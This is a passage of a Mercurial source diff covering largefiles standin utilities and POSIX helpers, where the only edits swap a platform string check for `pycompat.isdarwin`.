         link(usercachepath(repo.ui, hash), storepath(repo, hash))
     else:
         util.makedirs(os.path.dirname(storepath(repo, hash)))
         with open(file, 'rb') as srcf:
             with util.atomictempfile(storepath(repo, hash),
                                      createmode=repo.store.createmode) as dstf:
                 for chunk in util.filechunkiter(srcf):
                     dstf.write(chunk)
         linktousercache(repo, hash)
 
 def linktousercache(repo, hash):
     '''Link / copy the largefile with the specified hash from the store
     to the cache.'''
     path = usercachepath(repo.ui, hash)
     link(storepath(repo, hash), path)
 
 def getstandinmatcher(repo, rmatcher=None):
     '''Return a match object that applies rmatcher to the standin directory'''
     wvfs = repo.wvfs
     standindir = shortname
 
     # no warnings about missing files or directories
     badfn = lambda f, msg: None
 
     if rmatcher and not rmatcher.always():
         pats = [wvfs.join(standindir, pat) for pat in rmatcher.files()]
         if not pats:
             pats = [wvfs.join(standindir)]
         match = scmutil.match(repo[None], pats, badfn=badfn)
     else:
         # no patterns: relative to repo root
         match = scmutil.match(repo[None], [wvfs.join(standindir)], badfn=badfn)
     return match
 
 def composestandinmatcher(repo, rmatcher):
     '''Return a matcher that accepts standins corresponding to the
     files accepted by rmatcher. Pass the list of files in the matcher
     as the paths specified by the user.'''
     smatcher = getstandinmatcher(repo, rmatcher)
     isstandin = smatcher.matchfn
     def composedmatchfn(f):
         return isstandin(f) and rmatcher.matchfn(splitstandin(f))
     smatcher.matchfn = composedmatchfn
 
     return smatcher
 
 def standin(filename):
     '''Return the repo-relative path to the standin for the specified big
     file.'''
     # Notes:
     # 1) Some callers want an absolute path, but for instance addlargefiles
     #    needs it repo-relative so it can be passed to repo[None].add().  So
     #    leave it up to the caller to use repo.wjoin() to get an absolute path.
     # 2) Join with '/' because that's what dirstate always uses, even on
     #    Windows. Change existing separator to '/' first in case we are
     #    passed filenames from an external source (like the command line).
     return shortnameslash + util.pconvert(filename)
 
 def isstandin(filename):
     '''Return true if filename is a big file standin. filename must be
     in Mercurial's internal form (slash-separated).'''
     return filename.startswith(shortnameslash)
 
 def splitstandin(filename):
     # Split on / because that's what dirstate always uses, even on Windows.
     # Change local separator to / first just in case we are passed filenames
     # from an external source (like the command line).
     bits = util.pconvert(filename).split('/', 1)
     if len(bits) == 2 and bits[0] == shortname:
         return bits[1]
     else:
         return None
 
 def updatestandin(repo, lfile, standin):
     """Re-calculate hash value of lfile and write it into standin
 
     This assumes that "lfutil.standin(lfile) == standin", for efficiency.
     """
     file = repo.wjoin(lfile)
     if repo.wvfs.exists(lfile):
         hash = hashfile(file)
         executable = getexecutable(file)
         writestandin(repo, standin, hash, executable)
     else:
         raise error.Abort(_('%s: file not found!') % lfile)
 
 def readasstandin(fctx):
     '''read hex hash from given filectx of standin file
 
     This encapsulates how "standin" data is stored into storage layer.'''
     return fctx.data().strip()
 
 def writestandin(repo, standin, hash, executable):
     '''write hash to <repo.root>/<standin>'''
     repo.wwrite(standin, hash + '\n', executable and 'x' or '')
 
 def copyandhash(instream, outfile):
     '''Read bytes from instream (iterable) and write them to outfile,
     computing the SHA-1 hash of the data along the way. Return the hash.'''
     hasher = hashlib.sha1('')
     for data in instream:
         hasher.update(data)
         outfile.write(data)
     return hasher.hexdigest()
 
 def hashfile(file):
     if not os.path.exists(file):
         return ''
     with open(file, 'rb') as fd:
         return hexsha1(fd)
 
 def getexecutable(filename):
     mode = os.stat(filename).st_mode
     return ((mode & stat.S_IXUSR) and
             (mode & stat.S_IXGRP) and
             (mode & stat.S_IXOTH))
 
 def urljoin(first, second, *arg):
     def join(left, right):
         if not left.endswith('/'):
             left += '/'
         if right.startswith('/'):
             right = right[1:]
         return left + right
 
     url = join(first, second)
     for a in arg:
         url = join(url, a)
     return url
 
 def hexsha1(fileobj):
     """hexsha1 returns the hex-encoded sha1 sum of the data in the file-like
     object data"""
     h = hashlib.sha1()
     for chunk in util.filechunkiter(fileobj):
         h.update(chunk)
     return h.hexdigest()
 
 def httpsendfile(ui, filename):
     return httpconnection.httpsendfile(ui, filename, 'rb')
 
 def unixpath(path):
     '''Return a version of path normalized for use with the lfdirstate.'''
     return util.pconvert(os.path.normpath(path))
 
 def islfilesrepo(repo):
     '''Return true if the repo is a largefile repo.'''
     if ('largefiles' in repo.requirements and
             any(shortnameslash in f[0] for f in repo.store.datafiles())):
         return True
 
     return any(openlfdirstate(repo.ui, repo, False))
 
 class storeprotonotcapable(Exception):
     def __init__(self, storetypes):
         self.storetypes = storetypes
 
 def getstandinsstate(repo):
     standins = []
     matcher = getstandinmatcher(repo)
     wctx = repo[None]
     for standin in repo.dirstate.walk(matcher, subrepos=[], unknown=False,
                                       ignored=False):
         lfile = splitstandin(standin)
         try:
             hash = readasstandin(wctx[standin])
         except IOError:
             hash = None
         standins.append((lfile, hash))
     return standins
 
 def synclfdirstate(repo, lfdirstate, lfile, normallookup):
     lfstandin = standin(lfile)
     if lfstandin in repo.dirstate:
         stat = repo.dirstate._map[lfstandin]
         state, mtime = stat[0], stat[3]
     else:
         state, mtime = '?', -1
     if state == 'n':
         if (normallookup or mtime < 0 or
             not repo.wvfs.exists(lfile)):
             # state 'n' doesn't ensure 'clean' in this case
             lfdirstate.normallookup(lfile)
         else:
             lfdirstate.normal(lfile)
     elif state == 'm':
         lfdirstate.normallookup(lfile)
     elif state == 'r':
         lfdirstate.remove(lfile)
     elif state == 'a':
         lfdirstate.add(lfile)
     elif state == '?':
         lfdirstate.drop(lfile)
 
 def markcommitted(orig, ctx, node):
     repo = ctx.repo()
 
     orig(node)
 
     # ATTENTION: "ctx.files()" may differ from "repo[node].files()"
     # because files coming from the 2nd parent are omitted in the latter.
     #
     # The former should be used to get targets of "synclfdirstate",
     # because such files:
     # - are marked as "a" by "patch.patch()" (e.g. via transplant), and
     # - have to be marked as "n" after commit, but
     # - aren't listed in "repo[node].files()"
 
     lfdirstate = openlfdirstate(repo.ui, repo)
     for f in ctx.files():
         lfile = splitstandin(f)
         if lfile is not None:
             synclfdirstate(repo, lfdirstate, lfile, False)
     lfdirstate.write()
 
     # As part of committing, copy all of the largefiles into the cache.
     #
     # Using "node" instead of "ctx" implies additional "repo[node]"
     # lookup while copyalltostore(), but can omit redundant check for
     # files comming from the 2nd parent, which should exist in store
     # at merging.
     copyalltostore(repo, node)
 
 def getlfilestoupdate(oldstandins, newstandins):
     changedstandins = set(oldstandins).symmetric_difference(set(newstandins))
     filelist = []
     for f in changedstandins:
         if f[0] not in filelist:
             filelist.append(f[0])
     return filelist
 
 def getlfilestoupload(repo, missing, addfunc):
     for i, n in enumerate(missing):
         repo.ui.progress(_('finding outgoing largefiles'), i,
             unit=_('revisions'), total=len(missing))
         parents = [p for p in repo[n].parents() if p != node.nullid]
 
         oldlfstatus = repo.lfstatus
         repo.lfstatus = False
         try:
             ctx = repo[n]
         finally:
             repo.lfstatus = oldlfstatus
 
         files = set(ctx.files())
         if len(parents) == 2:
             mc = ctx.manifest()
             mp1 = ctx.parents()[0].manifest()
             mp2 = ctx.parents()[1].manifest()
             for f in mp1:
                 if f not in mc:
                     files.add(f)
             for f in mp2:
                 if f not in mc:
                     files.add(f)
             for f in mc:
                 if mc[f] != mp1.get(f, None) or mc[f] != mp2.get(f, None):
                     files.add(f)
         for fn in files:
             if isstandin(fn) and fn in ctx:
                 addfunc(fn, readasstandin(ctx[fn]))
     repo.ui.progress(_('finding outgoing largefiles'), None)
 
 def updatestandinsbymatch(repo, match):
     '''Update standins in the working directory according to specified match
 
     This returns (possibly modified) ``match`` object to be used for
     subsequent commit process.
     '''
 
     ui = repo.ui
 
     # Case 1: user calls commit with no specific files or
     # include/exclude patterns: refresh and commit all files that
     # are "dirty".
     if match is None or match.always():
         # Spend a bit of time here to get a list of files we know
         # are modified so we can compare only against those.
         # It can cost a lot of time (several seconds)
         # otherwise to update all standins if the largefiles are
         # large.
         lfdirstate = openlfdirstate(ui, repo)
         dirtymatch = matchmod.always(repo.root, repo.getcwd())
         unsure, s = lfdirstate.status(dirtymatch, subrepos=[], ignored=False,
                                       clean=False, unknown=False)
         modifiedfiles = unsure + s.modified + s.added + s.removed
         lfiles = listlfiles(repo)
         # this only loops through largefiles that exist (not
         # removed/renamed)
         for lfile in lfiles:
             if lfile in modifiedfiles:
                 fstandin = standin(lfile)
                 if repo.wvfs.exists(fstandin):
                     # this handles the case where a rebase is being
                     # performed and the working copy is not updated
                     # yet.
                     if repo.wvfs.exists(lfile):
                         updatestandin(repo, lfile, fstandin)
 
         return match
 
     lfiles = listlfiles(repo)
     match._files = repo._subdirlfs(match.files(), lfiles)
 
     # Case 2: user calls commit with specified patterns: refresh
     # any matching big files.
     smatcher = composestandinmatcher(repo, match)
     standins = repo.dirstate.walk(smatcher, subrepos=[], unknown=False,
                                   ignored=False)
 
     # No matching big files: get out of the way and pass control to
     # the usual commit() method.
     if not standins:
         return match
 
     # Refresh all matching big files.  It's possible that the
     # commit will end up failing, in which case the big files will
     # stay refreshed.  No harm done: the user modified them and
     # asked to commit them, so sooner or later we're going to
     # refresh the standins.  Might as well leave them refreshed.
     lfdirstate = openlfdirstate(ui, repo)
     for fstandin in standins:
         lfile = splitstandin(fstandin)
         if lfdirstate[lfile] != 'r':
             updatestandin(repo, lfile, fstandin)
 
     # Cook up a new matcher that only matches regular files or
     # standins corresponding to the big files requested by the
     # user.  Have to modify _files to prevent commit() from
     # complaining "not tracked" for big files.
     match = copy.copy(match)
     origmatchfn = match.matchfn
 
     # Check both the list of largefiles and the list of
     # standins because if a largefile was removed, it
     # won't be in the list of largefiles at this point
     match._files += sorted(standins)
 
     actualfiles = []
     for f in match._files:
         fstandin = standin(f)
 
         # For largefiles, only one of the normal and standin should be
         # committed (except if one of them is a remove).  In the case of a
         # standin removal, drop the normal file if it is unknown to dirstate.
         # Thus, skip plain largefile names but keep the standin.
         if f in lfiles or fstandin in standins:
             if repo.dirstate[fstandin] != 'r':
                 if repo.dirstate[f] != 'r':
                     continue
             elif repo.dirstate[f] == '?':
                 continue
 
         actualfiles.append(f)
     match._files = actualfiles
 
     def matchfn(f):
         if origmatchfn(f):
             return f not in lfiles
         else:
             return f in standins
 
     match.matchfn = matchfn
 
     return match
 
 class automatedcommithook(object):
     '''Stateful hook to update standins at the 1st commit of resuming
 
     For efficiency, updating standins in the working directory should
     be avoided while automated committing (like rebase, transplant and
     so on), because they should be updated before committing.
 
     But the 1st commit of resuming automated committing (e.g. ``rebase
     --continue``) should update them, because largefiles may be
     modified manually.
     '''
     def __init__(self, resuming):
         self.resuming = resuming
 
     def __call__(self, repo, match):
         if self.resuming:
             self.resuming = False # avoids updating at subsequent commits
             return updatestandinsbymatch(repo, match)
         else:
             return match
 
 def getstatuswriter(ui, repo, forcibly=None):
     '''Return the function to write largefiles specific status out
 
     If ``forcibly`` is ``None``, this returns the last element of
     ``repo._lfstatuswriters`` as "default" writer function.
 
     Otherwise, this returns the function to always write out (or
     ignore if ``not forcibly``) status.
     '''
     if forcibly is None and util.safehasattr(repo, '_largefilesenabled'):
         return repo._lfstatuswriters[-1]
     else:
         if forcibly:
             return ui.status # forcibly WRITE OUT
         else:
             return lambda *msg, **opts: None # forcibly IGNORE

mercurial/cffi/osutil.py

@@ -1,102 +1,102 b''
 # osutil.py - CFFI version of osutil.c
 #
 # Copyright 2016 Maciej Fijalkowski <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import os
 import stat as statmod
 
 from ..pure.osutil import *
 
 from .. import (
     pycompat,
 )
 
-if pycompat.sysplatform == 'darwin':
+if pycompat.isdarwin:
     from . import _osutil
 
     ffi = _osutil.ffi
     lib = _osutil.lib
 
     listdir_batch_size = 4096
     # tweakable number, only affects performance, which chunks
     # of bytes do we get back from getattrlistbulk
 
     attrkinds = [None] * 20 # we need the max no for enum VXXX, 20 is plenty
 
     attrkinds[lib.VREG] = statmod.S_IFREG
     attrkinds[lib.VDIR] = statmod.S_IFDIR
     attrkinds[lib.VLNK] = statmod.S_IFLNK
     attrkinds[lib.VBLK] = statmod.S_IFBLK
     attrkinds[lib.VCHR] = statmod.S_IFCHR
     attrkinds[lib.VFIFO] = statmod.S_IFIFO
     attrkinds[lib.VSOCK] = statmod.S_IFSOCK
 
     class stat_res(object):
         def __init__(self, st_mode, st_mtime, st_size):
             self.st_mode = st_mode
             self.st_mtime = st_mtime
             self.st_size = st_size
 
     tv_sec_ofs = ffi.offsetof("struct timespec", "tv_sec")
     buf = ffi.new("char[]", listdir_batch_size)
 
     def listdirinternal(dfd, req, stat, skip):
         ret = []
         while True:
             r = lib.getattrlistbulk(dfd, req, buf, listdir_batch_size, 0)
             if r == 0:
                 break
             if r == -1:
                 raise OSError(ffi.errno, os.strerror(ffi.errno))
             cur = ffi.cast("val_attrs_t*", buf)
             for i in range(r):
                 lgt = cur.length
                 assert lgt == ffi.cast('uint32_t*', cur)[0]
                 ofs = cur.name_info.attr_dataoffset
                 str_lgt = cur.name_info.attr_length
                 base_ofs = ffi.offsetof('val_attrs_t', 'name_info')
                 name = str(ffi.buffer(ffi.cast("char*", cur) + base_ofs + ofs,
                            str_lgt - 1))
                 tp = attrkinds[cur.obj_type]
                 if name == "." or name == "..":
                     continue
                 if skip == name and tp == statmod.S_ISDIR:
                     return []
                 if stat:
                     mtime = cur.mtime.tv_sec
                     mode = (cur.accessmask & ~lib.S_IFMT)| tp
                     ret.append((name, tp, stat_res(st_mode=mode, st_mtime=mtime,
                                 st_size=cur.datalength)))
                 else:
                     ret.append((name, tp))
                 cur = ffi.cast("val_attrs_t*", int(ffi.cast("intptr_t", cur))
                     + lgt)
         return ret
 
     def listdir(path, stat=False, skip=None):
         req = ffi.new("struct attrlist*")
         req.bitmapcount = lib.ATTR_BIT_MAP_COUNT
         req.commonattr = (lib.ATTR_CMN_RETURNED_ATTRS |
                           lib.ATTR_CMN_NAME |
                           lib.ATTR_CMN_OBJTYPE |
                           lib.ATTR_CMN_ACCESSMASK |
                           lib.ATTR_CMN_MODTIME)
         req.fileattr = lib.ATTR_FILE_DATALENGTH
         dfd = lib.open(path, lib.O_RDONLY, 0)
         if dfd == -1:
             raise OSError(ffi.errno, os.strerror(ffi.errno))
 
         try:
             ret = listdirinternal(dfd, req, stat, skip)
         finally:
             try:
                 lib.close(dfd)
             except BaseException:
                 pass # we ignore all the errors from closing, not
                 # much we can do about that
         return ret

mercurial/posix.py

@@ -1,675 +1,675 b''
 # posix.py - Posix utility function implementations for Mercurial
 #
 #  Copyright 2005-2009 Matt Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import fcntl
 import getpass
 import grp
 import os
 import pwd
 import re
 import select
 import stat
 import sys
 import tempfile
 import unicodedata
 
 from .i18n import _
 from . import (
     encoding,
     error,
     pycompat,
 )
 
 posixfile = open
 normpath = os.path.normpath
 samestat = os.path.samestat
 try:
     oslink = os.link
 except AttributeError:
     # Some platforms build Python without os.link on systems that are
     # vaguely unix-like but don't have hardlink support. For those
     # poor souls, just say we tried and that it failed so we fall back
     # to copies.
     def oslink(src, dst):
         raise OSError(errno.EINVAL,
                       'hardlinks not supported: %s to %s' % (src, dst))
 unlink = os.unlink
 rename = os.rename
 removedirs = os.removedirs
 expandglobs = False
 
 umask = os.umask(0)
 os.umask(umask)
 
 def split(p):
     '''Same as posixpath.split, but faster
 
     >>> import posixpath
     >>> for f in [b'/absolute/path/to/file',
     ...           b'relative/path/to/file',
     ...           b'file_alone',
     ...           b'path/to/directory/',
     ...           b'/multiple/path//separators',
     ...           b'/file_at_root',
     ...           b'///multiple_leading_separators_at_root',
     ...           b'']:
     ...     assert split(f) == posixpath.split(f), f
     '''
     ht = p.rsplit('/', 1)
     if len(ht) == 1:
         return '', p
     nh = ht[0].rstrip('/')
     if nh:
         return nh, ht[1]
     return ht[0] + '/', ht[1]
 
 def openhardlinks():
     '''return true if it is safe to hold open file handles to hardlinks'''
     return True
 
 def nlinks(name):
     '''return number of hardlinks for the given file'''
     return os.lstat(name).st_nlink
 
 def parsepatchoutput(output_line):
     """parses the output produced by patch and returns the filename"""
     pf = output_line[14:]
     if pycompat.sysplatform == 'OpenVMS':
         if pf[0] == '`':
             pf = pf[1:-1] # Remove the quotes
     else:
         if pf.startswith("'") and pf.endswith("'") and " " in pf:
             pf = pf[1:-1] # Remove the quotes
     return pf
 
 def sshargs(sshcmd, host, user, port):
     '''Build argument list for ssh'''
     args = user and ("%s@%s" % (user, host)) or host
     if '-' in args[:1]:
         raise error.Abort(
             _('illegal ssh hostname or username starting with -: %s') % args)
     args = shellquote(args)
     if port:
         args = '-p %s %s' % (shellquote(port), args)
     return args
 
 def isexec(f):
     """check whether a file is executable"""
     return (os.lstat(f).st_mode & 0o100 != 0)
 
 def setflags(f, l, x):
     st = os.lstat(f)
     s = st.st_mode
     if l:
         if not stat.S_ISLNK(s):
             # switch file to link
             fp = open(f)
             data = fp.read()
             fp.close()
             unlink(f)
             try:
                 os.symlink(data, f)
             except OSError:
                 # failed to make a link, rewrite file
                 fp = open(f, "w")
                 fp.write(data)
                 fp.close()
         # no chmod needed at this point
         return
     if stat.S_ISLNK(s):
         # switch link to file
         data = os.readlink(f)
         unlink(f)
         fp = open(f, "w")
         fp.write(data)
         fp.close()
         s = 0o666 & ~umask # avoid restatting for chmod
 
     sx = s & 0o100
     if st.st_nlink > 1 and bool(x) != bool(sx):
         # the file is a hardlink, break it
         with open(f, "rb") as fp:
             data = fp.read()
         unlink(f)
         with open(f, "wb") as fp:
             fp.write(data)
 
     if x and not sx:
         # Turn on +x for every +r bit when making a file executable
         # and obey umask.
         os.chmod(f, s | (s & 0o444) >> 2 & ~umask)
     elif not x and sx:
         # Turn off all +x bits
         os.chmod(f, s & 0o666)
 
 def copymode(src, dst, mode=None):
     '''Copy the file mode from the file at path src to dst.
     If src doesn't exist, we're using mode instead. If mode is None, we're
     using umask.'''
     try:
         st_mode = os.lstat(src).st_mode & 0o777
     except OSError as inst:
         if inst.errno != errno.ENOENT:
             raise
         st_mode = mode
         if st_mode is None:
             st_mode = ~umask
         st_mode &= 0o666
     os.chmod(dst, st_mode)
 
 def checkexec(path):
     """
     Check whether the given path is on a filesystem with UNIX-like exec flags
 
     Requires a directory (like /foo/.hg)
     """
 
     # VFAT on some Linux versions can flip mode but it doesn't persist
     # a FS remount. Frequently we can detect it if files are created
     # with exec bit on.
 
     try:
         EXECFLAGS = stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH
         cachedir = os.path.join(path, '.hg', 'cache')
         if os.path.isdir(cachedir):
             checkisexec = os.path.join(cachedir, 'checkisexec')
             checknoexec = os.path.join(cachedir, 'checknoexec')
 
             try:
                 m = os.stat(checkisexec).st_mode
             except OSError as e:
                 if e.errno != errno.ENOENT:
                     raise
                 # checkisexec does not exist - fall through ...
             else:
                 # checkisexec exists, check if it actually is exec
                 if m & EXECFLAGS != 0:
                     # ensure checkisexec exists, check it isn't exec
                     try:
                         m = os.stat(checknoexec).st_mode
                     except OSError as e:
                         if e.errno != errno.ENOENT:
                             raise
                         open(checknoexec, 'w').close() # might fail
                         m = os.stat(checknoexec).st_mode
                     if m & EXECFLAGS == 0:
                         # check-exec is exec and check-no-exec is not exec
                         return True
                     # checknoexec exists but is exec - delete it
                     unlink(checknoexec)
                 # checkisexec exists but is not exec - delete it
                 unlink(checkisexec)
 
             # check using one file, leave it as checkisexec
             checkdir = cachedir
         else:
             # check directly in path and don't leave checkisexec behind
             checkdir = path
             checkisexec = None
         fh, fn = tempfile.mkstemp(dir=checkdir, prefix='hg-checkexec-')
         try:
             os.close(fh)
             m = os.stat(fn).st_mode
             if m & EXECFLAGS == 0:
                 os.chmod(fn, m & 0o777 | EXECFLAGS)
                 if os.stat(fn).st_mode & EXECFLAGS != 0:
                     if checkisexec is not None:
                         os.rename(fn, checkisexec)
                         fn = None
                     return True
         finally:
             if fn is not None:
                 unlink(fn)
     except (IOError, OSError):
         # we don't care, the user probably won't be able to commit anyway
         return False
 
 def checklink(path):
     """check whether the given path is on a symlink-capable filesystem"""
     # mktemp is not racy because symlink creation will fail if the
     # file already exists
     while True:
         cachedir = os.path.join(path, '.hg', 'cache')
         checklink = os.path.join(cachedir, 'checklink')
         # try fast path, read only
         if os.path.islink(checklink):
             return True
         if os.path.isdir(cachedir):
             checkdir = cachedir
         else:
             checkdir = path
             cachedir = None
         fscheckdir = pycompat.fsdecode(checkdir)
         name = tempfile.mktemp(dir=fscheckdir,
                                prefix=r'checklink-')
         name = pycompat.fsencode(name)
         try:
             fd = None
             if cachedir is None:
                 fd = tempfile.NamedTemporaryFile(dir=fscheckdir,
                                                  prefix=r'hg-checklink-')
                 target = pycompat.fsencode(os.path.basename(fd.name))
             else:
                 # create a fixed file to link to; doesn't matter if it
                 # already exists.
                 target = 'checklink-target'
                 try:
                     open(os.path.join(cachedir, target), 'w').close()
                 except IOError as inst:
                     if inst[0] == errno.EACCES:
                         # If we can't write to cachedir, just pretend
                         # that the fs is readonly and by association
                         # that the fs won't support symlinks. This
                         # seems like the least dangerous way to avoid
                         # data loss.
                         return False
                     raise
             try:
                 os.symlink(target, name)
                 if cachedir is None:
                     unlink(name)
                 else:
                     try:
                         os.rename(name, checklink)
                     except OSError:
                         unlink(name)
                 return True
             except OSError as inst:
                 # link creation might race, try again
                 if inst[0] == errno.EEXIST:
                     continue
                 raise
             finally:
                 if fd is not None:
                     fd.close()
         except AttributeError:
             return False
         except OSError as inst:
             # sshfs might report failure while successfully creating the link
             if inst[0] == errno.EIO and os.path.exists(name):
                 unlink(name)
             return False
 
 def checkosfilename(path):
     '''Check that the base-relative path is a valid filename on this platform.
     Returns None if the path is ok, or a UI string describing the problem.'''
     return None # on posix platforms, every path is ok
 
 def setbinary(fd):
     pass
 
 def pconvert(path):
     return path
 
 def localpath(path):
     return path
 
 def samefile(fpath1, fpath2):
     """Returns whether path1 and path2 refer to the same file. This is only
     guaranteed to work for files, not directories."""
     return os.path.samefile(fpath1, fpath2)
 
 def samedevice(fpath1, fpath2):
     """Returns whether fpath1 and fpath2 are on the same device. This is only
     guaranteed to work for files, not directories."""
     st1 = os.lstat(fpath1)
     st2 = os.lstat(fpath2)
     return st1.st_dev == st2.st_dev
 
 # os.path.normcase is a no-op, which doesn't help us on non-native filesystems
 def normcase(path):
     return path.lower()
 
 # what normcase does to ASCII strings
 normcasespec = encoding.normcasespecs.lower
 # fallback normcase function for non-ASCII strings
 normcasefallback = normcase
 
-if pycompat.sysplatform == 'darwin':
+if pycompat.isdarwin:
 
     def normcase(path):
         '''
         Normalize a filename for OS X-compatible comparison:
         - escape-encode invalid characters
         - decompose to NFD
         - lowercase
         - omit ignored characters [200c-200f, 202a-202e, 206a-206f,feff]
 
         >>> normcase(b'UPPER')
         'upper'
         >>> normcase(b'Caf\\xc3\\xa9')
         'cafe\\xcc\\x81'
         >>> normcase(b'\\xc3\\x89')
         'e\\xcc\\x81'
         >>> normcase(b'\\xb8\\xca\\xc3\\xca\\xbe\\xc8.JPG') # issue3918
         '%b8%ca%c3\\xca\\xbe%c8.jpg'
         '''
 
         try:
             return encoding.asciilower(path)  # exception for non-ASCII
         except UnicodeDecodeError:
             return normcasefallback(path)
 
     normcasespec = encoding.normcasespecs.lower
 
     def normcasefallback(path):
         try:
             u = path.decode('utf-8')
         except UnicodeDecodeError:
             # OS X percent-encodes any bytes that aren't valid utf-8
             s = ''
             pos = 0
             l = len(path)
             while pos < l:
                 try:
                     c = encoding.getutf8char(path, pos)
                     pos += len(c)
                 except ValueError:
                     c = '%%%02X' % ord(path[pos:pos + 1])
                     pos += 1
                 s += c
 
             u = s.decode('utf-8')
 
         # Decompose then lowercase (HFS+ technote specifies lower)
         enc = unicodedata.normalize(r'NFD', u).lower().encode('utf-8')
         # drop HFS+ ignored characters
         return encoding.hfsignoreclean(enc)
 
 if pycompat.sysplatform == 'cygwin':
     # workaround for cygwin, in which mount point part of path is
     # treated as case sensitive, even though underlying NTFS is case
     # insensitive.
 
     # default mount points
     cygwinmountpoints = sorted([
             "/usr/bin",
             "/usr/lib",
             "/cygdrive",
             ], reverse=True)
 
     # use upper-ing as normcase as same as NTFS workaround
     def normcase(path):
         pathlen = len(path)
         if (pathlen == 0) or (path[0] != pycompat.ossep):
             # treat as relative
             return encoding.upper(path)
 
         # to preserve case of mountpoint part
         for mp in cygwinmountpoints:
             if not path.startswith(mp):
                 continue
 
             mplen = len(mp)
             if mplen == pathlen: # mount point itself
                 return mp
             if path[mplen] == pycompat.ossep:
                 return mp + encoding.upper(path[mplen:])
 
         return encoding.upper(path)
 
     normcasespec = encoding.normcasespecs.other
     normcasefallback = normcase
 
     # Cygwin translates native ACLs to POSIX permissions,
     # but these translations are not supported by native
     # tools, so the exec bit tends to be set erroneously.
     # Therefore, disable executable bit access on Cygwin.
     def checkexec(path):
         return False
 
     # Similarly, Cygwin's symlink emulation is likely to create
     # problems when Mercurial is used from both Cygwin and native
     # Windows, with other native tools, or on shared volumes
     def checklink(path):
         return False
 
 _needsshellquote = None
 def shellquote(s):
     if pycompat.sysplatform == 'OpenVMS':
         return '"%s"' % s
     global _needsshellquote
     if _needsshellquote is None:
         _needsshellquote = re.compile(br'[^a-zA-Z0-9._/+-]').search
     if s and not _needsshellquote(s):
         # "s" shouldn't have to be quoted
         return s
     else:
         return "'%s'" % s.replace("'", "'\\''")
 
 def quotecommand(cmd):
     return cmd
 
 def popen(command, mode='r'):
     return os.popen(command, mode)
 
 def testpid(pid):
     '''return False if pid dead, True if running or not sure'''
     if pycompat.sysplatform == 'OpenVMS':
         return True
     try:
         os.kill(pid, 0)
         return True
     except OSError as inst:
         return inst.errno != errno.ESRCH
 
 def explainexit(code):
     """return a 2-tuple (desc, code) describing a subprocess status
     (codes from kill are negative - not os.system/wait encoding)"""
     if code >= 0:
         return _("exited with status %d") % code, code
     return _("killed by signal %d") % -code, -code
 
 def isowner(st):
     """Return True if the stat object st is from the current user."""
     return st.st_uid == os.getuid()
 
 def findexe(command):
     '''Find executable for command searching like which does.
     If command is a basename then PATH is searched for command.
     PATH isn't searched if command is an absolute or relative path.
     If command isn't found None is returned.'''
     if pycompat.sysplatform == 'OpenVMS':
         return command
 
     def findexisting(executable):
         'Will return executable if existing file'
         if os.path.isfile(executable) and os.access(executable, os.X_OK):
             return executable
         return None
 
     if pycompat.ossep in command:
         return findexisting(command)
 
     if pycompat.sysplatform == 'plan9':
         return findexisting(os.path.join('/bin', command))
 
     for path in encoding.environ.get('PATH', '').split(pycompat.ospathsep):
         executable = findexisting(os.path.join(path, command))
         if executable is not None:
             return executable
     return None
 
 def setsignalhandler():
     pass
 
 _wantedkinds = {stat.S_IFREG, stat.S_IFLNK}
 
 def statfiles(files):
     '''Stat each file in files. Yield each stat, or None if a file does not
     exist or has a type we don't care about.'''
     lstat = os.lstat
     getkind = stat.S_IFMT
     for nf in files:
         try:
             st = lstat(nf)
             if getkind(st.st_mode) not in _wantedkinds:
                 st = None
         except OSError as err:
             if err.errno not in (errno.ENOENT, errno.ENOTDIR):
                 raise
             st = None
         yield st
 
 def getuser():
     '''return name of current user'''
     return pycompat.fsencode(getpass.getuser())
 
 def username(uid=None):
     """Return the name of the user with the given uid.
 
     If uid is None, return the name of the current user."""
 
     if uid is None:
         uid = os.getuid()
     try:
         return pwd.getpwuid(uid)[0]
     except KeyError:
         return str(uid)
 
 def groupname(gid=None):
     """Return the name of the group with the given gid.
 
     If gid is None, return the name of the current group."""
 
     if gid is None:
         gid = os.getgid()
     try:
         return grp.getgrgid(gid)[0]
     except KeyError:
         return str(gid)
 
 def groupmembers(name):
     """Return the list of members of the group with the given
     name, KeyError if the group does not exist.
     """
     return list(grp.getgrnam(name).gr_mem)
 
 def spawndetached(args):
     return os.spawnvp(os.P_NOWAIT | getattr(os, 'P_DETACH', 0),
                       args[0], args)
 
 def gethgcmd():
     return sys.argv[:1]
 
 def makedir(path, notindexed):
     os.mkdir(path)
 
 def lookupreg(key, name=None, scope=None):
     return None
 
 def hidewindow():
     """Hide current shell window.
 
     Used to hide the window opened when starting asynchronous
     child process under Windows, unneeded on other systems.
     """
     pass
 
 class cachestat(object):
     def __init__(self, path):
         self.stat = os.stat(path)
 
     def cacheable(self):
         return bool(self.stat.st_ino)
 
     __hash__ = object.__hash__
 
     def __eq__(self, other):
         try:
             # Only dev, ino, size, mtime and atime are likely to change. Out
             # of these, we shouldn't compare atime but should compare the
             # rest. However, one of the other fields changing indicates
             # something fishy going on, so return False if anything but atime
             # changes.
             return (self.stat.st_mode == other.stat.st_mode and
                     self.stat.st_ino == other.stat.st_ino and
                     self.stat.st_dev == other.stat.st_dev and
                     self.stat.st_nlink == other.stat.st_nlink and
                     self.stat.st_uid == other.stat.st_uid and
                     self.stat.st_gid == other.stat.st_gid and
                     self.stat.st_size == other.stat.st_size and
                     self.stat.st_mtime == other.stat.st_mtime and
                     self.stat.st_ctime == other.stat.st_ctime)
         except AttributeError:
             return False
 
     def __ne__(self, other):
         return not self == other
 
 def executablepath():
     return None # available on Windows only
 
 def statislink(st):
     '''check whether a stat result is a symlink'''
     return st and stat.S_ISLNK(st.st_mode)
 
 def statisexec(st):
     '''check whether a stat result is an executable file'''
     return st and (st.st_mode & 0o100 != 0)
 
 def poll(fds):
     """block until something happens on any file descriptor
 
     This is a generic helper that will check for any activity
     (read, write.  exception) and return the list of touched files.
 
     In unsupported cases, it will raise a NotImplementedError"""
     try:
         while True:
             try:
                 res = select.select(fds, fds, fds)
                 break
             except select.error as inst:
                 if inst.args[0] == errno.EINTR:
                     continue
                 raise
     except ValueError: # out of range file descriptor
         raise NotImplementedError()
     return sorted(list(set(sum(res, []))))
 
 def readpipe(pipe):
     """Read all available data from a pipe."""
